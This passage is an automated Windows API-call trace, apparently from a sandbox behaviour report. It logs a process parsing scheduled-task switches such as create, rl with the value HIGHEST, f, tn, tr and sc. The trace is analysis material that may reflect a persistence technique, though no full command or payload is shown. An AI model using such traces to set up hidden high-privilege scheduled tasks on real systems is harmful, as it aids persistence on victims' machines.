2 [0153.348] lstrlenW (lpString="it") returned 2 [0153.348] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.348] lstrlenW (lpString="rl") returned 2 [0153.348] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.348] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|it|") returned 4 [0153.348] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.348] lstrlenW (lpString="|it|") returned 4 [0153.348] lstrlenW (lpString="|rl|") returned 4 [0153.348] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0153.348] RtlRestoreLastWin32Error () returned 0x490 [0153.348] lstrlenW (lpString="et") returned 2 [0153.348] lstrlenW (lpString="et") returned 2 [0153.349] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] lstrlenW (lpString="rl") returned 2 [0153.349] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|et|") returned 4 [0153.349] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.349] lstrlenW (lpString="|et|") returned 4 [0153.349] lstrlenW (lpString="|rl|") returned 4 [0153.349] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0153.349] RtlRestoreLastWin32Error () returned 0x490 [0153.349] lstrlenW (lpString="k") returned 1 [0153.349] lstrlenW (lpString="k") returned 1 [0153.349] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] lstrlenW (lpString="rl") returned 2 [0153.349] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|k|") returned 3 [0153.349] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.349] lstrlenW (lpString="|k|") returned 3 [0153.349] lstrlenW (lpString="|rl|") returned 4 [0153.349] RtlRestoreLastWin32Error () returned 0x490 [0153.349] lstrlenW (lpString="du") returned 2 [0153.349] lstrlenW (lpString="du") returned 2 [0153.349] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] lstrlenW (lpString="rl") returned 2 [0153.349] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.349] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|du|") returned 4 [0153.349] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.349] lstrlenW (lpString="|du|") returned 4 [0153.350] lstrlenW (lpString="|rl|") returned 4 [0153.350] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0153.350] RtlRestoreLastWin32Error () returned 0x490 [0153.350] lstrlenW (lpString="ri") returned 2 [0153.350] lstrlenW (lpString="ri") returned 2 [0153.350] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.350] lstrlenW (lpString="rl") returned 2 [0153.350] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.350] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ri|") returned 4 [0153.350] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.350] lstrlenW (lpString="|ri|") returned 4 [0153.350] lstrlenW (lpString="|rl|") returned 4 [0153.350] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0153.350] RtlRestoreLastWin32Error () returned 0x490 [0153.350] lstrlenW (lpString="z") returned 1 [0153.350] lstrlenW (lpString="z") returned 1 [0153.350] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.350] lstrlenW (lpString="rl") returned 2 [0153.350] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.350] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|z|") returned 3 [0153.350] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.350] lstrlenW (lpString="|z|") returned 3 [0153.350] lstrlenW (lpString="|rl|") returned 4 [0153.350] RtlRestoreLastWin32Error () returned 0x490 [0153.350] lstrlenW (lpString="f") returned 1 [0153.350] lstrlenW (lpString="f") returned 1 [0153.350] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.350] lstrlenW (lpString="rl") returned 2 [0153.350] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.351] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.351] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.351] lstrlenW (lpString="|f|") returned 3 [0153.351] lstrlenW (lpString="|rl|") returned 4 [0153.351] RtlRestoreLastWin32Error () returned 0x490 [0153.351] lstrlenW (lpString="v1") returned 2 [0153.351] lstrlenW (lpString="v1") returned 2 [0153.351] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.351] lstrlenW (lpString="rl") returned 2 [0153.351] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.351] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|v1|") returned 4 [0153.351] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.351] lstrlenW (lpString="|v1|") returned 4 [0153.351] lstrlenW (lpString="|rl|") returned 4 [0153.351] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0153.351] RtlRestoreLastWin32Error () returned 0x490 [0153.351] lstrlenW (lpString="xml") returned 3 [0153.351] lstrlenW (lpString="xml") returned 3 [0153.351] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.351] lstrlenW (lpString="rl") returned 2 [0153.351] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.351] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|xml|") returned 5 [0153.351] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.351] lstrlenW (lpString="|xml|") returned 5 [0153.351] lstrlenW (lpString="|rl|") returned 4 [0153.351] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0153.351] RtlRestoreLastWin32Error () returned 0x490 [0153.351] lstrlenW (lpString="ec") returned 2 [0153.351] lstrlenW (lpString="ec") returned 2 [0153.352] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.352] lstrlenW (lpString="rl") returned 2 [0153.352] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.352] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ec|") returned 4 [0153.352] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.352] lstrlenW (lpString="|ec|") returned 4 [0153.352] lstrlenW (lpString="|rl|") returned 4 [0153.352] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0153.352] RtlRestoreLastWin32Error () returned 0x490 [0153.352] lstrlenW (lpString="rl") returned 2 [0153.352] lstrlenW (lpString="rl") returned 2 [0153.352] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.352] lstrlenW (lpString="rl") returned 2 [0153.352] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.352] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.352] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rl|") returned 4 [0153.352] lstrlenW (lpString="|rl|") returned 4 [0153.352] lstrlenW (lpString="|rl|") returned 4 [0153.352] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0153.352] RtlRestoreLastWin32Error () returned 0x0 [0153.352] RtlRestoreLastWin32Error () returned 0x0 [0153.352] lstrlenW (lpString="HIGHEST") returned 7 [0153.352] lstrlenW (lpString="-/") returned 2 [0153.352] StrChrIW (lpStart="-/", wMatch=0x4630048) returned 0x0 [0153.352] RtlRestoreLastWin32Error () returned 0x490 [0153.352] RtlRestoreLastWin32Error () returned 0x490 [0153.352] RtlRestoreLastWin32Error () returned 0x0 [0153.352] lstrlenW (lpString="HIGHEST") returned 7 [0153.353] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0153.353] RtlRestoreLastWin32Error () returned 0x490 [0153.353] RtlRestoreLastWin32Error () returned 0x0 [0153.353] _memicmp (_Buf1=0x42aab58, _Buf2=0x232708, _Size=0x7) returned 0 [0153.353] lstrlenW (lpString="HIGHEST") returned 7 [0153.353] lstrlenW (lpString="HIGHEST") returned 7 [0153.353] lstrlenW (lpString=" \x09") returned 2 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0153.353] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0153.353] GetLastError () returned 0x0 [0153.353] lstrlenW (lpString="HIGHEST") returned 7 [0153.353] lstrlenW (lpString="HIGHEST") returned 7 [0153.353] RtlRestoreLastWin32Error () returned 0x0 [0153.353] RtlRestoreLastWin32Error () returned 0x0 [0153.353] lstrlenW (lpString="/f") returned 2 [0153.353] lstrlenW (lpString="-/") returned 2 [0153.353] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.353] lstrlenW (lpString="create") returned 6 [0153.353] lstrlenW (lpString="create") returned 6 [0153.353] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.353] lstrlenW (lpString="f") returned 1 [0153.353] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.353] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|create|") returned 8 [0153.354] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.354] lstrlenW (lpString="|create|") returned 8 [0153.354] lstrlenW (lpString="|f|") returned 3 [0153.354] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0153.354] RtlRestoreLastWin32Error () returned 0x490 [0153.354] lstrlenW (lpString="?") returned 1 [0153.354] lstrlenW (lpString="?") returned 1 [0153.354] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.354] lstrlenW (lpString="f") returned 1 [0153.354] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.354] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|?|") returned 3 [0153.354] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.354] lstrlenW (lpString="|?|") returned 3 [0153.354] lstrlenW (lpString="|f|") returned 3 [0153.354] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0153.354] RtlRestoreLastWin32Error () returned 0x490 [0153.354] lstrlenW (lpString="s") returned 1 [0153.354] lstrlenW (lpString="s") returned 1 [0153.354] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.354] lstrlenW (lpString="f") returned 1 [0153.354] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.354] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|s|") returned 3 [0153.354] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.354] lstrlenW (lpString="|s|") returned 3 [0153.354] lstrlenW (lpString="|f|") returned 3 [0153.354] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0153.354] RtlRestoreLastWin32Error () returned 0x490 [0153.354] lstrlenW (lpString="u") returned 1 [0153.354] lstrlenW (lpString="u") returned 1 [0153.354] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] lstrlenW (lpString="f") returned 1 [0153.355] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|u|") returned 3 [0153.355] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.355] lstrlenW (lpString="|u|") returned 3 [0153.355] lstrlenW (lpString="|f|") returned 3 [0153.355] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0153.355] RtlRestoreLastWin32Error () returned 0x490 [0153.355] lstrlenW (lpString="p") returned 1 [0153.355] lstrlenW (lpString="p") returned 1 [0153.355] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] lstrlenW (lpString="f") returned 1 [0153.355] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|p|") returned 3 [0153.355] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.355] lstrlenW (lpString="|p|") returned 3 [0153.355] lstrlenW (lpString="|f|") returned 3 [0153.355] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0153.355] RtlRestoreLastWin32Error () returned 0x490 [0153.355] lstrlenW (lpString="ru") returned 2 [0153.355] lstrlenW (lpString="ru") returned 2 [0153.355] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] lstrlenW (lpString="f") returned 1 [0153.355] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.355] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ru|") returned 4 [0153.355] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.355] lstrlenW (lpString="|ru|") returned 4 [0153.355] lstrlenW (lpString="|f|") returned 3 [0153.355] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0153.356] RtlRestoreLastWin32Error () returned 0x490 [0153.356] lstrlenW (lpString="rp") returned 2 [0153.356] lstrlenW (lpString="rp") returned 2 [0153.356] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] lstrlenW (lpString="f") returned 1 [0153.356] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|rp|") returned 4 [0153.356] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.356] lstrlenW (lpString="|rp|") returned 4 [0153.356] lstrlenW (lpString="|f|") returned 3 [0153.356] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0153.356] RtlRestoreLastWin32Error () returned 0x490 [0153.356] lstrlenW (lpString="sc") returned 2 [0153.356] lstrlenW (lpString="sc") returned 2 [0153.356] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] lstrlenW (lpString="f") returned 1 [0153.356] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sc|") returned 4 [0153.356] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.356] lstrlenW (lpString="|sc|") returned 4 [0153.356] lstrlenW (lpString="|f|") returned 3 [0153.356] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0153.356] RtlRestoreLastWin32Error () returned 0x490 [0153.356] lstrlenW (lpString="mo") returned 2 [0153.356] lstrlenW (lpString="mo") returned 2 [0153.356] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] lstrlenW (lpString="f") returned 1 [0153.356] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.356] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|mo|") returned 4 [0153.356] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.357] lstrlenW (lpString="|mo|") returned 4 [0153.357] lstrlenW (lpString="|f|") returned 3 [0153.357] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0153.357] RtlRestoreLastWin32Error () returned 0x490 [0153.357] lstrlenW (lpString="d") returned 1 [0153.357] lstrlenW (lpString="d") returned 1 [0153.357] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.357] lstrlenW (lpString="f") returned 1 [0153.357] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.357] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|d|") returned 3 [0153.357] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.357] lstrlenW (lpString="|d|") returned 3 [0153.357] lstrlenW (lpString="|f|") returned 3 [0153.357] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0153.357] RtlRestoreLastWin32Error () returned 0x490 [0153.357] lstrlenW (lpString="m") returned 1 [0153.357] lstrlenW (lpString="m") returned 1 [0153.357] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.357] lstrlenW (lpString="f") returned 1 [0153.357] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.357] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|m|") returned 3 [0153.357] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.357] lstrlenW (lpString="|m|") returned 3 [0153.357] lstrlenW (lpString="|f|") returned 3 [0153.357] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0153.357] RtlRestoreLastWin32Error () returned 0x490 [0153.357] lstrlenW (lpString="i") returned 1 [0153.357] lstrlenW (lpString="i") returned 1 [0153.357] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.357] lstrlenW (lpString="f") returned 1 [0153.358] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.358] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|i|") returned 3 [0153.358] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.358] lstrlenW (lpString="|i|") returned 3 [0153.358] lstrlenW (lpString="|f|") returned 3 [0153.358] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0153.358] RtlRestoreLastWin32Error () returned 0x490 [0153.358] lstrlenW (lpString="tn") returned 2 [0153.358] lstrlenW (lpString="tn") returned 2 [0153.358] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.358] lstrlenW (lpString="f") returned 1 [0153.358] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.358] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tn|") returned 4 [0153.358] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.358] lstrlenW (lpString="|tn|") returned 4 [0153.358] lstrlenW (lpString="|f|") returned 3 [0153.358] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0153.358] RtlRestoreLastWin32Error () returned 0x490 [0153.358] lstrlenW (lpString="tr") returned 2 [0153.358] lstrlenW (lpString="tr") returned 2 [0153.358] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.358] lstrlenW (lpString="f") returned 1 [0153.358] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.358] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|tr|") returned 4 [0153.358] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.358] lstrlenW (lpString="|tr|") returned 4 [0153.358] lstrlenW (lpString="|f|") returned 3 [0153.358] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0153.358] RtlRestoreLastWin32Error () returned 0x490 [0153.359] lstrlenW (lpString="st") returned 2 [0153.359] lstrlenW (lpString="st") returned 2 [0153.359] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.359] lstrlenW (lpString="f") returned 1 [0153.359] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.359] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|st|") returned 4 [0153.359] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.359] lstrlenW (lpString="|st|") returned 4 [0153.359] lstrlenW (lpString="|f|") returned 3 [0153.359] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0153.359] RtlRestoreLastWin32Error () returned 0x490 [0153.361] lstrlenW (lpString="sd") returned 2 [0153.361] lstrlenW (lpString="sd") returned 2 [0153.361] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.361] lstrlenW (lpString="f") returned 1 [0153.361] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.361] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|sd|") returned 4 [0153.361] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.361] lstrlenW (lpString="|sd|") returned 4 [0153.361] lstrlenW (lpString="|f|") returned 3 [0153.361] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0153.361] RtlRestoreLastWin32Error () returned 0x490 [0153.361] lstrlenW (lpString="ed") returned 2 [0153.361] lstrlenW (lpString="ed") returned 2 [0153.361] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.361] lstrlenW (lpString="f") returned 1 [0153.361] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.361] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ed|") returned 4 [0153.361] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.362] lstrlenW (lpString="|ed|") returned 4 [0153.362] lstrlenW (lpString="|f|") returned 3 [0153.362] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0153.362] RtlRestoreLastWin32Error () returned 0x490 [0153.362] lstrlenW (lpString="it") returned 2 [0153.362] lstrlenW (lpString="it") returned 2 [0153.362] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.362] lstrlenW (lpString="f") returned 1 [0153.362] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.362] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|it|") returned 4 [0153.362] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.362] lstrlenW (lpString="|it|") returned 4 [0153.362] lstrlenW (lpString="|f|") returned 3 [0153.362] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0153.362] RtlRestoreLastWin32Error () returned 0x490 [0153.362] lstrlenW (lpString="et") returned 2 [0153.362] lstrlenW (lpString="et") returned 2 [0153.362] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.362] lstrlenW (lpString="f") returned 1 [0153.362] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.362] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|et|") returned 4 [0153.362] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.362] lstrlenW (lpString="|et|") returned 4 [0153.362] lstrlenW (lpString="|f|") returned 3 [0153.363] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0153.363] RtlRestoreLastWin32Error () returned 0x490 [0153.363] lstrlenW (lpString="k") returned 1 [0153.363] lstrlenW (lpString="k") returned 1 [0153.363] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.363] lstrlenW (lpString="f") returned 1 [0153.363] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.363] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|k|") returned 3 [0153.363] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.363] lstrlenW (lpString="|k|") returned 3 [0153.363] lstrlenW (lpString="|f|") returned 3 [0153.363] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0153.363] RtlRestoreLastWin32Error () returned 0x490 